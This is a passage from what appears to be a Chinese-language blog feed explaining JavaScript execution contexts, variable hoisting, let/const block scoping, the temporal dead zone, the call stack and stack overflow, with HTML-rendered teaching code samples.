</span><span>myname</span><span> </span></span><span>=</span><span> </span><span>"极客邦"</span><span>;</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>myname</span><span>);</span></span></div></div><div><div><div>8</div></div><div><span>}</span></div></div><div><div><div>9</div></div><div><span>showName</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>让我们来看生成好的调用栈内容</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807124644046.png" alt="image-20210807124644046.png" /><figcaption>image-20210807124644046.png</figcaption></figure><p></p><p>当执行 showName()中的可执行代码的时候<code>console.log(myname);</code>问题就出现了，此时因为变量提升，showName 的变量环境中已经有一个 myname=undefined 了，因此<code>console.log(myname);</code>就会从当前函数作用域中拿变量值，最终导致输出结果就是 undefined，和 C 语言以及大多数支持块级作用域的语言结果完全不同。</p></section>
<section><h3>变量提升导致本该销毁的变量没有被销毁<a href="#变量提升导致本该销毁的变量没有被销毁"><span>#</span></a></h3><p>看下面这段代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>for</span><span> (</span><span>var</span><span><span> </span><span>i</span><span> </span></span><span>=</span><span> </span><span>0</span><span><span>; </span><span>i</span><span> </span></span><span>&lt;</span><span> </span><span>7</span><span><span>; </span><span>i</span></span><span>++</span><span>) {}</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>i</span><span>);</span></span></div></div><div><div><div>4</div></div><div><span>}</span></div></div><div><div><div>5</div></div><div><span>foo</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>在其他语言中，for 循环结束之后，i 就应当被销毁了，但是在 JavaScript 代码中，i 的值并没有被销毁，最后打印出来是 7。这也是因为变量提升，因为在创建执行上下文的时候，变量 i 已经被提升了，因此在 for 循环结束后，i 并没有被销毁。</p><p>那这些问题该如何解决呢？</p></section>
<section><h3>ES6 引入 let 和 const 解决<a href="#es6-引入-let-和-const-解决"><span>#</span></a></h3><p>为了解决这些问题，<strong>ES6 引入了 let 和 const 关键字，从而使 JavaScript 也能和其他语言一样有块级作用域</strong>。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>let</span><span><span> </span><span>x</span><span> </span></span><span>=</span><span> </span><span>5</span><span>;</span></div></div><div><div><div>2</div></div><div><span>const</span><span> </span><span>y</span><span> </span><span>=</span><span> </span><span>6</span><span>;</span></div></div><div><div><div>3</div></div><div><span><span>x</span><span> </span></span><span>=</span><span> </span><span>7</span><span>;</span></div></div><div><div><div>4</div></div><div><span><span>y</span><span> </span></span><span>=</span><span> </span><span>9</span><span>; </span><span>//const声明的变量不能被修改 Uncaught TypeError: Assignment to constant variable.</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>两者都可以生成块级作用域，唯一不同的是 const 声明的变量的值是不能被改变的。</p><p>那是如何解决问题的呢</p><section><h4>改造前的存在变量提升的代码<a href="#改造前的存在变量提升的代码"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>varTest</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>var</span><span><span> </span><span>x</span><span> </span></span><span>=</span><span> </span><span>1</span><span>;</span></div></div><div><div><div>3</div></div><div><span>  </span><span>if</span><span> (</span><span>true</span><span>) {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>var</span><span><span> </span><span>x</span><span> </span></span><span>=</span><span> </span><span>2</span><span>;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>x</span><span>); </span></span><span>//2</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>x</span><span>); </span></span><span>//2</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>如果是其他语言的块级作用域，那么第二个 console.log(x)应当是输出 if 外部声明的 x=1 的 1，因为块内的<code>x=2</code>应当用完就销毁。但是 JavaScript 不是这样，当前函数作用域的变量环境中，首先是变量提升</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807130923919.png" alt="image-20210807130923919.png" /><figcaption>image-20210807130923919.png</figcaption></figure><p></p><p>然后执行可执行代码<code>x = 1</code>和<code>x = 2</code>，后面的<code>x=2</code>覆盖了前面的<code>x=1</code>，导致最终后面的两个 console.log(x)的输出结果都是 2。</p></section><section><h4>改造后的代码<a href="#改造后的代码"><span>#</span></a></h4><p>就是将 var 替换成 let</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>varTest</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>let</span><span><span> </span><span>x</span><span> </span></span><span>=</span><span> </span><span>1</span><span>;</span></div></div><div><div><div>3</div></div><div><span>  </span><span>if</span><span> (</span><span>true</span><span>) {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>let</span><span><span> </span><span>x</span><span> </span></span><span>=</span><span> </span><span>2</span><span>;</span></div></div><div><div><div>5</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>x</span><span>); </span></span><span>//2</span></div></div><div><div><div>6</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>x</span><span>); </span></span><span>//1</span></div></div><div><div><div>8</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这样就和大多数支持块级作用域的语言结果一致了，这是因为 let 关键字支持块级作用域，在编译阶段，JavaScript 就不会把 if 块中用 let 关键字声明的变量放到变量环境中，这样函数内部 if 外部就看不到 if 块内部声明的变量了。这样第二个也就是 if 块外的 console.log(x)就不会输出 2 了。这样就符合编程习惯了：<strong>作用域块内声明的变量不影响块外的变量</strong>。</p></section></section>
<section><h3>支持块级作用域背后原理<a href="#支持块级作用域背后原理"><span>#</span></a></h3><p>上面并没有细说在执行上下文阶段块级作用域是如何实现的，也就是 ES6 如何既支持变量提升，又支持块级作用域呢？</p><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>foo</span><span>() {</span></div></div><div><div><div>2</div></div><div><span>  </span><span>var</span><span><span> </span><span>a</span><span> </span></span><span>=</span><span> </span><span>1</span><span>;</span></div></div><div><div><div>3</div></div><div><span>  </span><span>let</span><span><span> </span><span>b</span><span> </span></span><span>=</span><span> </span><span>2</span><span>;</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>{</span></div></div><div><div><div>5</div></div><div><span>    </span><span>let</span><span><span> </span><span>b</span><span> </span></span><span>=</span><span> </span><span>3</span><span>;</span></div></div><div><div><div>6</div></div><div><span>    </span><span>var</span><span><span> </span><span>c</span><span> </span></span><span>=</span><span> </span><span>4</span><span>;</span></div></div><div><div><div>7</div></div><div><span>    </span><span>let</span><span><span> </span><span>d</span><span> </span></span><span>=</span><span> </span><span>5</span><span>;</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>a</span><span>);</span></span></div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>b</span><span>);</span></span></div></div><div><div><div>10</div></div><div><span><span>  </span></span><span>}</span></div></div><div><div><div>11</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>b</span><span>);</span></span></div></div><div><div><div>12</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>c</span><span>);</span></span></div></div><div><div><div>13</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>d</span><span>);</span></span></div></div><div><div><div>14</div></div><div><span>}</span></div></div><div><div><div>15</div></div><div><span>foo</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807141916003.png" alt="image-20210807141916003.png" /><figcaption>image-20210807141916003.png</figcaption></figure><p></p><p>内部称为内部作用域块，外圈称为函数作用域块。</p><p>分析一下流程，第一步还是编译并创建执行上下文</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807140732943.png" alt="image-20210807140732943.png" /><figcaption>image-20210807140732943.png</figcaption></figure><p></p><ul>
<li>通过 var 声明的变量，在编译阶段会放到当前函数执行上下文的<strong>变量环境</strong>中。</li>
<li>通过 let 声明的变量，在编译阶段会被存放到<strong>词法环境</strong>(栈结构)中。</li>
<li>在函数作用域内的作用域块内部，通过 let 声明的变量还没有到词法环境中。</li>
</ul><p>接着执行代码，当执行到代码块内部的时候，a 被赋值为 1，词法环境中的 b 被赋值为 2：</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807141546291.png" alt="image-20210807141546291.png" /><figcaption>image-20210807141546291.png</figcaption></figure><p></p><p>当进入函数内部的作用域块的时候，作用域块中通过 let 声明的变量，会被存放在词法环境中的一块单独的区域中，这个区域的变量不影响作用域块外面的变量。比如你在个内部作用域块声明用 let 声明变量 b 的时候，是不会影响到外部作用域声明的变量 b 的，他们虽然变量名相同，但是是独立的存在。</p><p>接着执行 console.log(a)，<strong>如何查找这个变量呢，实际上就是根据作用域链，首先需要从词法环境和变量环境中找，具体查找方式是沿着词法环境的栈顶向下查询，如果在词法环境中的某个块找到了，就直接返回给 JavaScript 引擎，如果没找到，就去变量环境中继续查找。</strong></p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807144526129.png" alt="image-20210807144526129.png" /><figcaption>image-20210807144526129.png</figcaption></figure><p></p><p>当<strong>内部作用域块执行完毕之后，内部用 let 定义的变量就会从词法环境的栈顶弹出</strong>，最后执行上下文如下</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807145257788.png" alt="image-20210807145257788.png" /><figcaption>image-20210807145257788.png</figcaption></figure><p></p><p>执行外部代码，console.log(b)的时候自然还是从词法环境开始找，</p><p>在词法环境内部，维护了一个小型栈结构，栈底是函数最外层的 let 或 const 声明变量，进入一个作用域块后，就会把该作用域块内部的 let 或 const 声明变量压到栈顶；当作用域执行完成之后，该作用域的信息就会从栈顶弹出。（这也是为什么内部作用域的 console.log(b)输出的是内部定义的 b=3 的值，而块外的 console.log(b)输出的则是外部定义的 b=2，因为 b=3 是先压到栈顶，当执行到外部的 console.log(b)的时候 b=3 已经被弹出了，此时栈顶就是 b=2 了。）</p><p>一道题</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>let</span><span><span> </span><span>myname</span><span> </span></span><span>=</span><span> </span><span>"极客时间"</span><span>;</span></div></div><div><div><div>2</div></div><div><span>{</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span><span>(</span><span>myname</span><span>);</span></span></div></div><div><div><div>4</div></div><div><span>  </span><span>let</span><span><span> </span><span>myname</span><span> </span></span><span>=</span><span> </span><span>"极客邦"</span><span>;</span></div></div><div><div><div>5</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>结果 Uncaught ReferenceError: Cannot access ‘myname’ before initialization。变量没被初始化</p><p>原因是<strong>const 和 let 存在暂时性死区</strong>，var 声明变量的时候回将变量创建和初始化为 undefined，所以当你在 var 声明的变量前 console.log()这个变量就是 undefined。但是 let 和 const 和 var 有所不同，块级作用域的用 let 声明的变量是当代码执行到当前块内才放入词法环境的，变量被放到词法环境中的时候是未被初始化(赋值)的存在暂时性死区，因此当你执行 console.log(变量)(访问该变量)的时候会报错。</p><p>结论：<strong>v8 虚拟机会禁止你访问 let 和 const 声明变量之前调用变量的行为</strong></p></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/javascript/stack_overflow/</id>
      <title type="text">为什么 JavaScript 会栈溢出</title>
      <published>2021-10-26T00:00:00.000Z</published>
      <updated>2021-10-26T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/javascript/stack_overflow/"/>
      <summary type="text">先回答问题：造成栈溢出的原因就是调用栈中的执行上下文堆叠过多没有返回。</summary>
      <content type="html"><![CDATA[<p>先回答问题：造成栈溢出的原因就是调用栈中的执行上下文堆叠过多没有返回。</p>
<p>哪些情况下代码才算是“一段”代码，才会在执行之前就进行编译并创建执行上下文。</p>
<ol>
<li>当 JavaScript 执行全局代码的时候会编译全局代码并创建全局执行上下文，整个页面生命周期里，全局执行上下文只有一个。</li>
<li>当调用一个函数的时候，函数内部的代码会被编译，并创建函数执行上下文，一般情况下，函数执行结束后，创建的函数执行上下文会被销毁。</li>
<li>当使用 eval 函数的时候，eval 的代码也会被编译，并创建执行上下文。</li>
</ol>
<section><h4>什么是调用栈？<a href="#什么是调用栈"><span>#</span></a></h4><p>调用栈就是用来管理函数调用关系的一种数据结构。那什么是函数调用，什么是栈结构。</p></section>
<section><h4>什么是函数调用？<a href="#什么是函数调用"><span>#</span></a></h4><p>就是给你声明的函数名后面跟一对小括号。看以下代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>a</span><span> </span></span><span>=</span><span> </span><span>1</span><span>;</span></div></div><div><div><div>2</div></div><div><span>function</span><span> </span><span>add</span><span>() {</span></div></div><div><div><div>3</div></div><div><span>  </span><span>var</span><span><span> </span><span>b</span><span> </span></span><span>=</span><span> </span><span>2</span><span>;</span></div></div><div><div><div>4</div></div><div><span>  </span><span>return</span><span><span> </span><span>a</span><span> </span></span><span>+</span><span><span> </span><span>b</span><span>;</span></span></div></div><div><div><div>5</div></div><div><span>}</span></div></div><div><div><div>6</div></div><div><span>add</span><span>();</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>创建了一个 add 函数，然后随后调用了 add 函数</p><p>分析一下流程</p><p>首先 JavaScript 执行全局代码的时候会编译全局代码并创建全局执行上下文(过程中变量提升了 a=undefined，然后将函数也提升了，并存放在全局执行上下文中的变量环境中)</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210806223208919.png" alt="image-20210806223208919.png" /><figcaption>image-20210806223208919.png</figcaption></figure><p></p><p>然后开始执行可执行代码(就两句<code>a=1</code>和<code>add()</code>)，执行到 add()的时候，JavaScript 判断这是一个函数调用，所以执行以下操作</p><ul>
<li>首先从全局执行上下文中的变量环境中拿出 add 函数代码。</li>
<li>然后对 add 函数的这段代码进行编译，创建该函数的执行上下文和可执行代码。</li>
</ul><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210806224120177.png" alt="image-20210806224120177.png" /><figcaption>image-20210806224120177.png</figcaption></figure><p></p><ul>
<li>然后执行可执行代码，输出结果。</li>
</ul><p>我们发现此时已经有两个执行上下文了，一个是全局执行上下文，一个是 add 函数的执行上下文。在 JavaScript 的执行过程中，会存在多个执行上下文，那这些执行上下文 JavaScript 引擎是如何管理的呢？</p><p>是通过一个叫栈的数据结构来管理的。</p></section>
<section><h3>什么是栈<a href="#什么是栈"><span>#</span></a></h3><p>一种数据结构，栈中元素满足后进先出</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210806231836364.png" alt="image-20210806231836364.png" /><figcaption>image-20210806231836364.png</figcaption></figure><p></p><p>类比一下就像下面这么一串铜钱，你只能从一端加钱或者取钱</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210806232208927.png" alt="image-20210806232208927.png" /><figcaption>image-20210806232208927.png</figcaption></figure><p></p><p>什么是 JavaScript 的调用栈，JavaScript 就是用栈这种结构来管理执行上下文的，当执行上下文创建好以后，JavaScript 引擎会将执行上下文压入栈中，通常把这种管理执行上下文的栈叫执行上下文栈也叫调用栈。</p><p>来看一段稍微复杂点的代码</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>var</span><span><span> </span><span>a</span><span> </span></span><span>=</span><span> </span><span>2</span><span>;</span></div></div><div><div><div>2</div></div><div><span>function</span><span> </span><span>add</span><span><span>(</span><span>b</span><span>, </span><span>c</span><span>) {</span></span></div></div><div><div><div>3</div></div><div><span>  </span><span>return</span><span><span> </span><span>b</span><span> </span></span><span>+</span><span><span> </span><span>c</span><span>;</span></span></div></div><div><div><div>4</div></div><div><span>}</span></div></div><div><div><div>5</div></div><div><span>function</span><span> </span><span>addAll</span><span><span>(</span><span>b</span><span>, </span><span>c</span><span>) {</span></span></div></div><div><div><div>6</div></div><div><span>  </span><span>var</span><span><span> </span><span>d</span><span> </span></span><span>=</span><span> </span><span>10</span><span>;</span></div></div><div><div><div>7</div></div><div><span><span>  </span></span><span>result</span><span> </span><span>=</span><span> </span><span>add</span><span><span>(</span><span>b</span><span>, </span><span>c</span><span>);</span></span></div></div><div><div><div>8</div></div><div><span>  </span><span>return</span><span><span> </span><span>a</span><span> </span></span><span>+</span><span><span> </span><span>result</span><span> </span></span><span>+</span><span><span> </span><span>d</span><span>;</span></span></div></div><div><div><div>9</div></div><div><span>}</span></div></div><div><div><div>10</div></div><div><span>addAll</span><span>(</span><span>3</span><span>, </span><span>6</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>第一步，创建全局上下文，并将其压入栈底。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210806232614295.png" alt="image-20210806232614295.png" /><figcaption>image-20210806232614295.png</figcaption></figure><p></p><p>可以看到全局上下文的变量环境包括变量 a 和函数 add 以及函数 addAll。然后开始执行全局可执行代码<code>a=2</code>和<code>addAll(3,6)</code>。</p><p>首先执行<code>a=2</code>的赋值操作，执行该语句会将全局上下文环境中 a 的值设置为 2。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210806235350196.png" alt="image-20210806235350196.png" /><figcaption>image-20210806235350196.png</figcaption></figure><p></p><p>接下来调用 addAll 函数。当调用该函数的时候，JavaScript 引擎会编译该函数，并为其创建一个执行上下文，最后还将该函数的执行上下文压入栈中。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807000832968.png" alt="image-20210807000832968.png" /><figcaption>image-20210807000832968.png</figcaption></figure><p></p><p>addAll 函数的执行上下文创建好之后，就进入函数代码执行阶段了，这里执行了 d=10 的赋值操作，此时会让 addAll 的变量环境中的 d=undefined 变成 d=10,然后执行到 result=add(b,c)的时候，也就是执行到 add 函数的调用语句，从而为 add 函数创建执行上下文，并压入了调用栈。如下图</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807003511952.png" alt="image-20210807003511952.png" /><figcaption>image-20210807003511952.png</figcaption></figure><p></p><p>当 add 函数返回的时候，该函数的执行上下文就会从栈顶弹出，并将 addAll 函数执行上下文中变量环境的 result 的值设置为 add 函数的返回值，也就是 9。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807003802418.png" alt="image-20210807003802418.png" /><figcaption>image-20210807003802418.png</figcaption></figure><p></p><p>然后 addAll 执行相加操作并返回，addAll 的执行上下文也会从栈顶部弹出，此时调用栈就只剩全局上下文了。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807003935602.png" alt="image-20210807003935602.png" /><figcaption>image-20210807003935602.png</figcaption></figure><p></p><p>此时流程结束了。</p><p>结论：调用栈是 JavaScript 引擎追踪函数执行的一个机制，当一次有多个函数被调用时，通过调用栈就能够追踪到哪个函数正在被执行以及各函数之间的调用关系。</p></section>
<section><h3>开发中如何查看调用栈<a href="#开发中如何查看调用栈"><span>#</span></a></h3><p>可以输入一段代码，然后在你需要知道调用关系的函数声明里塞一句<code>console.trace()</code></p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807005121991.png" alt="image-20210807005121991.png" /><figcaption>image-20210807005121991.png</figcaption></figure><p></p></section>
<section><h3>什么是栈溢出<a href="#什么是栈溢出"><span>#</span></a></h3><p>调用栈是有大小的，当入栈的执行上下文超过一定数目，JavaScript 引擎就会报错，这种错误就叫做栈溢出。</p><p>比如写一个一直没有边界一直自己调用自己的递归函数</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>cl</span><span>() {</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>cl</span><span>());</span></div></div><div><div><div>3</div></div><div><span>}</span></div></div><div><div><div>4</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span>(</span><span>cl</span><span>());</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>导致报错，可以看报错信息，意思就是超过了最大栈调用大小。</p><p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210807005500840.png" alt="image-20210807005500840.png" /><figcaption>image-20210807005500840.png</figcaption></figure><p></p><p>之前那个案例每个函数去调用另一个函数的时候执行可执行代码最后都会返回，那如果没返回一直在自调用是什么概念，那就是一直不停的往调用栈里塞新创建的函数执行上下文，但是栈是有容量限制的，因此最后就会导致栈溢出的错误。</p><p>可以用一些方法来避免栈溢出问题，比如把递归调用改成别的形式，或是<strong>用定时器的方法来将当前的任务拆分成其他很多小任务</strong>。</p><p>因为 setTimeout 是浏览器的 API，每次运行 setTimeout 的时候会先调用浏览器的 API，当倒计时到的时候回调函数就会加到任务队列中，然后当调用栈，例如</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>function</span><span> </span><span>runStack</span><span><span>(</span><span>n</span><span>) {</span></span></div></div><div><div><div>2</div></div><div><span>  </span><span>if</span><span><span> (</span><span>n</span><span> </span></span><span>===</span><span> </span><span>0</span><span>) </span><span>return</span><span> </span><span>100</span><span>;</span></div></div><div><div><div>3</div></div><div><span>  </span><span>return</span><span> </span><span>setTimeout</span><span>(</span><span>function</span><span> () {</span></div></div><div><div><div>4</div></div><div><span>    </span><span>runStack</span><span><span>(</span><span>n</span><span> </span></span><span>-</span><span> </span><span>2</span><span>);</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>}, </span><span>0</span><span>);</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div><div><div><div>7</div></div><div><span>runStack</span><span>(</span><span>50000</span><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>]]></content>
    </entry>
    <entry>
      <id>https://an2333.com/posts/frontend/javascript/variable-hosting/</id>
      <title type="text">JavaScript 变量提升</title>
      <published>2021-10-23T00:00:00.000Z</published>
      <updated>2021-10-23T00:00:00.000Z</updated>
      <author><name>Annan</name></author>
      <link rel="alternate" href="https://an2333.com/posts/frontend/javascript/variable-hosting/"/>
      <summary type="text">理解了 JavaScript 执行上下文，才能更好的理解 JavaScript 语言本身，比如变量提升，作用域和闭包等。</summary>
      <content type="html"><![CDATA[<blockquote><p>为什么需要了解执行上下文？</p></blockquote>
<p>理解了 JavaScript 执行上下文，才能更好的理解 JavaScript 语言本身，比如变量提升，作用域和闭包等。</p>
<p>先来看段代码测试一下吧</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>show</span><span>();</span></div></div><div><div><div>2</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>Name</span><span>);</span></span></div></div><div><div><div>3</div></div><div><span>var</span><span><span> </span><span>Name</span><span> </span></span><span>=</span><span> </span><span>"AN"</span><span>;</span></div></div><div><div><div>4</div></div><div><span>function</span><span> </span><span>show</span><span>() {</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"我出现了"</span><span>);</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>大家都知道 JavaScript 是解释型的语言，就是说应当是一行行顺序执行的，那是不是应该是</p>
<ul>
<li>show()的时候，因为 show()还没定义，直接报错</li>
<li>console.log(Name)，Name 也没定义，报错</li>
</ul>
<p>实际的结果是什么呢</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210630212728979.png" alt="image-20210630212728979.png" /><figcaption>image-20210630212728979.png</figcaption></figure><p></p>
<p>可以看到虽然 show()之前并未定义 show()函数，可却正确的执行出来了。这个地方我们可以得出一个结论&lt;就是说执行前函数直接被移到调用函数的前面去了&gt;。这叫变量提升。</p>
<p>console.log(Name)结果并不是 AN，而是 undefined。这是怎么回事呢？难道说是只要 console.log(变量)就会自动给分配个 undefined 吗？试着不声明直接随便 console.log 一个变量试试</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>Anyone</span><span>);</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210630212304757.png" alt="image-20210630212304757.png" /><figcaption>image-20210630212304757.png</figcaption></figure><p></p>
<p>由此可以看出，声明变量是不能缺的。我们又知道<code>var Name = 'AN'</code>是可以拆分成<code>var Name</code>（声明)和<code>Name = 'AN'</code>(赋值)的，</p>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210630214225720.png" alt="image-20210630214225720.png" /><figcaption>image-20210630214225720.png</figcaption></figure><p></p>
<p>而在 JavaScript 中仅声明未赋值的变量默认的值就是 undefined，自然可以想到，当 console.log(Name)在前的时候起作用的仅仅只有<code>var Name</code>这部分，可以简化为以下代码验证一下</p>
<div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>Name</span><span>);</span></span></div></div><div><div><div>2</div></div><div><span>var</span><span><span> </span><span>Name</span><span>;</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p></p><figure><img src="https://typora-an.oss-cn-hangzhou.aliyuncs.com/%E5%89%8D%E7%AB%AF/image-20210630212657114.png" alt="image-20210630212657114.png" /><figcaption>image-20210630212657114.png</figcaption></figure><p></p>
<p>可以看到和上面是一样的结果。也意味着，JS 在执行的时候仅仅只是提前了声明但是而并没有赋值。这样我们就可以得出一条结论：JavaScript 在执行过程中会将变量的声明<code>var Name</code>提前，这个概念也叫做变量提升。</p>
<section><h4>变量提升<a href="#变量提升"><span>#</span></a></h4><p>还是刚才的案例</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>show</span><span>();</span></div></div><div><div><div>2</div></div><div><span><span>console</span><span>.</span></span><span>log</span><span><span>(</span><span>Name</span><span>);</span></span></div></div><div><div><div>3</div></div><div><span>var</span><span><span> </span><span>Name</span><span> </span></span><span>=</span><span> </span><span>"AN"</span><span>;</span></div></div><div><div><div>4</div></div><div><span>function</span><span> </span><span>show</span><span>() {</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"我出现了"</span><span>);</span></div></div><div><div><div>6</div></div><div><span>}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>模拟一下变量提升的情况</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>//变量提升部分</span></div></div><div><div><div>2</div></div><div><span>var</span><span><span> </span><span>Name</span><span>;</span></span></div></div><div><div><div>3</div></div><div><span>function</span><span> </span><span>show</span><span>() {</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>console</span><span>.</span><span>log</span><span>(</span><span>"我出现了"</span><span>);</span></div></div><div><div><div>5</div></div><div><span>}</span></div></div><div><div><div>6</div></div><div>
